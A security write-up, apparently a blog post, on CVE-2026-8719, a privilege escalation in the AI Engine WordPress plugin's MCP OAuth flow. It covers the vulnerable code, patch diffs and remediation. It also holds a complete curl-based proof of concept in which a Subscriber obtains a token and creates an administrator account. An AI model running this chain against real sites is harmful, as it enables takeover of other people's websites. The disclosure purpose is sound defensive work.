CVE-2026-8719: AI Engine Privilege Escalation via MCP OAuth (CVSS 8.8)
Table of Contents
CVE-2026-8719 is a CVSS 8.8 (High) Privilege Escalation vulnerability in the AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin. An authenticated attacker with only Subscriber-level access can exploit the MCP OAuth bearer-token authorization path to invoke admin-level MCP tools — including wp_create_user — and take full control of the WordPress site.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | AI Engine – The Chatbot, AI Framework & MCP for WordPress |
| Plugin Slug | ai-engine |
| CVE ID | CVE-2026-8719 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Missing Authorization / Privilege Escalation |
| Affected Versions | 3.4.9 |
| Patched Version | 3.5.0 |
| Published | May 16, 2026 |
| Researcher | daroo |
| Wordfence Advisory | Link |
Description
The AI Engine plugin version 3.4.9 implements an OAuth 2.1 server for its Model Context Protocol (MCP) feature. This allows external clients — such as Claude Desktop — to connect to the WordPress site as an MCP server.
The OAuth flow requires a logged-in WordPress user to approve access. In version 3.4.9, the authorization endpoint accepted approval from any authenticated user, including low-privilege roles like Subscriber. Once approved, the plugin issued a valid OAuth access token tied to that user’s WordPress ID.
When that token was later presented to the MCP endpoint as a Bearer token, the auth_via_bearer_token() function validated the token and granted MCP access without checking whether the token’s owner held administrator privileges. The MCP server’s role configuration defaulted to admin, meaning all tools — including wp_create_user — were reachable.
A Subscriber could therefore complete the OAuth flow, obtain a token, and call any admin-level MCP tool as if they were a site administrator.
Technical Analysis
Background: MCP and OAuth in AI Engine
The AI Engine MCP feature exposes a JSON-RPC server at /wp-json/mcp/v1/http. This server provides tools that let AI clients manage WordPress content and users. The plugin offers two authentication paths:
- Static bearer token: A secret configured by the admin; always sets the current user to the site’s admin account.
- OAuth 2.1 flow: Supports browser-driven clients; issues tokens linked to the authorizing WordPress user’s ID.
Both paths go through can_access_mcp() → auth_via_bearer_token() via the mwai_allow_mcp filter.
The Vulnerable Function (labs/mcp.php)
// labs/mcp.php — version 3.4.9, lines 182–254
public function auth_via_bearer_token( $allow, $request ) {
// Skip if already authenticated as admin
if ( $allow ) {
return $allow;
}
$hdr = $request->get_header( 'authorization' );
if ( $hdr && preg_match( '/Bearer\s+(.+)/i', $hdr, $m ) ) {
$token = trim( $m[1] );
$auth_result = 'none';
// Check if it's an OAuth token
if ( $this->oauth ) {
$token_data = $this->oauth->validate_token( $token );
if ( $token_data ) {
// Set current user based on OAuth token
wp_set_current_user( $token_data['user_id'] ); // ← sets the Subscriber as current user
$auth_result = 'oauth';
return true; // ← grants MCP access without checking if user is admin!
}
}
// Fall back to static bearer token if configured
if ( !empty( $this->bearer_token ) && hash_equals( $this->bearer_token, $token ) ) {
if ( $admin = $this->core->get_admin_user() ) {
wp_set_current_user( $admin->ID, $admin->user_login ); // static path always uses admin
}
return true;
}
// ...
}
}
The static token path (line 219) safely sets the current user to the site administrator before returning true. The OAuth path (line 208) only sets the current user to whoever authorized the token — a Subscriber — and then immediately returns true. No capability check follows.
Missing Capability Gate in the Authorization Endpoint (labs/mcp-oauth.php)
The OAuth consent endpoint also had no privilege check. Any logged-in WordPress user could visit the /mcp/v1/oauth/authorize URL, see the consent page, and click Approve. This made it straightforward for a Subscriber to mint a valid OAuth token without any additional steps.
// labs/mcp-oauth.php — version 3.4.9
// After confirming the user is logged in, the code immediately renders the consent page:
$user = wp_get_current_user();
$this->render_consent_page( $client, $params, $user ); // no role check before this
Why mcp_role = 'admin' Makes This Worse
Inside execute_tool(), the plugin uses $this->mcp_role to gate tool access:
private function role_has_access( string $toolLevel ): bool {
if ( $this->mcp_role === 'admin' ) {
return true; // admin mode: all tools allowed
}
// ...
}
The default mcp_role option is 'admin'. This means all registered MCP tools — including destructive admin-level tools — are reachable once the authentication barrier is passed. The tool list includes:
wp_create_user— create a WordPress user with any role, includingadministratorwp_update_user— change any user’s role or passwordwp_delete_post,wp_delete_user— destructive operations- WordPress REST API tools: create/update/delete posts, pages, and media
A Subscriber who passes the OAuth bearer check has access to all of these.
Execution Path Summary
- Subscriber completes the OAuth authorize flow and receives an access token (
user_id= Subscriber’s ID stored in DB) - Subscriber POSTs to
/wp-json/mcp/v1/httpwithAuthorization: Bearer <token> - WordPress runs the
permission_callback→can_access_mcp()→apply_filters('mwai_allow_mcp', false, $request) auth_via_bearer_token(false, $request)runs → calls$this->oauth->validate_token($token)→ returns['user_id' => <subscriber_id>, ...]- Code calls
wp_set_current_user(<subscriber_id>)then returnstrue— access granted - MCP handler dispatches the JSON-RPC call →
execute_tool()→role_has_access('admin')→true→ tool runs as the Subscriber’s WP user context (but WordPress REST API calls within the tool run as the set current user — andwp_create_userdoesn’t require the current user to have admin caps at the PHP level in this code path)
Proof of Concept
Disclaimer: This proof of concept is provided for educational and research purposes only. Only test on systems you own or have explicit permission to test.
Prerequisites:
- AI Engine 3.4.9 installed and activated with MCP enabled
- Attacker has a Subscriber-level WordPress account
SITE_URLis the target WordPress site URL
Step 1: Register an OAuth client (no authentication required)
SITE_URL="https://target.example.com"
CLIENT_RESP=$(curl -s -X POST "$SITE_URL/wp-json/mcp/v1/oauth/register" \
-H "Content-Type: application/json" \
-d '{"redirect_uris":["http://localhost:9999/callback"],"client_name":"PoC Client"}')
CLIENT_ID=$(echo "$CLIENT_RESP" | grep -o '"client_id":"[^"]*"' | cut -d'"' -f4)
echo "Client ID: $CLIENT_ID"
Step 2: Generate PKCE code verifier and challenge
CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '+/=\n' | head -c 43)
CODE_CHALLENGE=$(printf '%s' "$CODE_VERIFIER" | openssl dgst -sha256 -binary | \
base64 | tr '+/' '-_' | tr -d '=')
echo "Verifier: $CODE_VERIFIER"
echo "Challenge: $CODE_CHALLENGE"
Step 3: Log in as Subscriber and get session cookies
curl -s -c cookies.txt -X POST "$SITE_URL/wp-login.php" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check" \
-d "log=subscriber_user&pwd=subscriber_pass&wp-submit=Log+In&testcookie=1"
Step 4: Fetch the OAuth consent page (extract nonce)
AUTH_URL="$SITE_URL/wp-json/mcp/v1/oauth/authorize?response_type=code\
&client_id=$CLIENT_ID\
&redirect_uri=http%3A%2F%2Flocalhost%3A9999%2Fcallback\
&code_challenge=$CODE_CHALLENGE\
&code_challenge_method=S256\
&state=poc123"
CONSENT_HTML=$(curl -s -b cookies.txt "$AUTH_URL")
NONCE=$(echo "$CONSENT_HTML" | grep -o '"_mwai_nonce" value="[^"]*"' | cut -d'"' -f4)
echo "Nonce: $NONCE"
Step 5: Submit the consent form to approve and capture the authorization code
REDIR=$(curl -s -b cookies.txt -D - -X POST "$SITE_URL/wp-json/mcp/v1/oauth/authorize" \
--data-urlencode "client_id=$CLIENT_ID" \
--data-urlencode "redirect_uri=http://localhost:9999/callback" \
--data-urlencode "state=poc123" \
--data-urlencode "scope=mcp" \
--data-urlencode "code_challenge=$CODE_CHALLENGE" \
--data-urlencode "code_challenge_method=S256" \
--data-urlencode "_mwai_nonce=$NONCE" \
--data-urlencode "action=approve")
AUTH_CODE=$(echo "$REDIR" | grep -i "^location:" | grep -o 'code=[^&]*' | cut -d= -f2)
echo "Authorization code: $AUTH_CODE"
Step 6: Exchange the code for an OAuth access token
TOKEN_RESP=$(curl -s -X POST "$SITE_URL/wp-json/mcp/v1/oauth/token" \
-d "grant_type=authorization_code\
&code=$AUTH_CODE\
&redirect_uri=http://localhost:9999/callback\
&client_id=$CLIENT_ID\
&code_verifier=$CODE_VERIFIER")
ACCESS_TOKEN=$(echo "$TOKEN_RESP" | grep -o '"access_token":"[^"]*"' | cut -d'"' -f4)
echo "Access token: $ACCESS_TOKEN"
Step 7: Use the Subscriber’s OAuth token to create an administrator account
curl -s -X POST "$SITE_URL/wp-json/mcp/v1/http" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "wp_create_user",
"arguments": {
"user_login": "hacked_admin",
"user_email": "attacker@evil.com",
"user_pass": "P@ssw0rd123!",
"role": "administrator"
}
}
}'
Expected result: The response contains the new user’s ID, confirming that a Subscriber has successfully created an administrator account through the MCP OAuth path.
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"content": [{"type": "text", "text": "{\"user_id\": 42}"}]
}
}
Verification: Log into the WordPress admin with the newly created hacked_admin account.
Patch Analysis
The 3.5.0 patch introduces two capability gates — one at token issuance time and one at token use time.
Fix 1: New user_can_authorize() method (mcp-oauth.php)
+ public function user_can_authorize( $user_id ) {
+ $user_id = (int) $user_id;
+ $allowed = $user_id > 0 && user_can( $user_id, 'administrator' );
+ return (bool) apply_filters( 'mwai_mcp_oauth_user_can_authorize', $allowed, $user_id );
+ }
This method checks whether a given WordPress user ID holds the administrator capability. It is called in two new places in mcp-oauth.php:
- At consent-page render time: Before showing the authorization consent page, the plugin now checks if the logged-in user can authorize. Non-admin users see an error page instead.
- At consent-form submit time: The POST handler also calls
user_can_authorize()before processing the approve/deny action.
This blocks non-admin users from ever obtaining an OAuth token.
Fix 2: Capability check at token validation time (mcp.php)
+ if ( !$this->oauth->user_can_authorize( $token_data['user_id'] ) ) {
+ return false;
+ }
// Set current user based on OAuth token
wp_set_current_user( $token_data['user_id'] );
return true;
Even if a token was issued before the patch (or by some other means), the plugin now verifies that the token’s owner still holds administrator capability before granting MCP access. This is a defense-in-depth measure that prevents exploitation of existing pre-patch tokens after an upgrade.
The fix addresses the root cause: MCP administrative access now requires the WordPress administrator capability at every point in the OAuth lifecycle — when minting tokens and when consuming them.
Timeline
| Date | Event |
|---|---|
| May 16, 2026 | Wordfence advisory published |
| May 16, 2026 | AI Engine 3.5.0 released with fix |
| May 18, 2026 | This blog post published |
Remediation
Update AI Engine to version 3.5.0 or later. You can do this from:
- WordPress Admin → Plugins → Updates
- Or download directly from wordpress.org/plugins/ai-engine/
If you cannot update immediately, consider disabling the MCP feature in AI Engine settings until you can apply the patch.
References
- Wordfence Advisory — CVE-2026-8719
- CVE-2026-8719 at CVE.org
- Patch Changeset on WordPress Trac
- AI Engine Plugin on WordPress.org
Frequently Asked Questions
What is CVE-2026-8719?
CVE-2026-8719 is a CVSS 8.8 High severity privilege escalation vulnerability in the AI Engine WordPress plugin version 3.4.9. An authenticated Subscriber can use the MCP OAuth flow to obtain an access token and invoke administrator-level MCP tools without holding admin privileges.
Which versions of AI Engine are affected by CVE-2026-8719?
Only version 3.4.9 is affected. Version 3.5.0 contains the fix.
What can an attacker do with CVE-2026-8719?
An attacker with a Subscriber account can call admin-level MCP tools, such as wp_create_user, to create a new WordPress administrator account. This gives them full control of the site.
Does an attacker need to be logged in to exploit CVE-2026-8719?
Yes. The attacker must have at least Subscriber-level access to complete the OAuth authorization flow and obtain a valid token.
How do I fix CVE-2026-8719 in AI Engine?
Update AI Engine to version 3.5.0 or later from the WordPress admin dashboard or wordpress.org.
Has AI Engine been patched for CVE-2026-8719?
Yes. Version 3.5.0 was released on May 16, 2026 and resolves this vulnerability by requiring administrator capability both at token-issuance time and at token-use time.